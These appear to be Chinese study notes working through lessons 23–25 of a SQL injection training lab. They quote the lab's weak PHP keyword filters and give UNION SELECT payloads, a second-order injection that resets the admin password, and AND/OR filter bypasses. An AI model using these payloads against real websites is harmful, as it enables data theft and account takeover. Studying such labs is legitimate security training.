23~38
Less-23:
$id=$_GET['id'];
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id); //获取getid的传参,搜索是否存在注释#,如果存在就用空 来代替,然后重新赋值给GET接受的id
$id = preg_replace($reg1, $replace, $id); //获取getid的传参,搜索是否存在注释--,如果存在就用空 来代替,然后重新赋值给GET接受的id
1.加单引号让后面闭合
?id=1' and 1=2 union select 1,database(),3'
2.使用逻辑运算注入
?id=1' and 1=2 union select 1,database(),3 or '1=1
Less-24:
通过二次注入修改其他用户的密码
密码:123456
重置密码
新密码为:caocao
修改成功
在本地查看用户名及密码,发现
admin
用户的密码已经被修改admin' -- qwe
用户的密码却没有被修改
Less-25:
通过提示我们不难发现
and
和or
都被过滤了
1.查看源码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)//删除OR(不区分大小写)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)//删除AND(不区分大小写)
return $id;
}
2.双写搭配大小写匹配关键字绕过
?id=1' anANdD 1=2 union select 1,database(),2 -- qwe
3.关键字等价绕过
可以使用&代替and,url编码是%26
?id=1' %26 1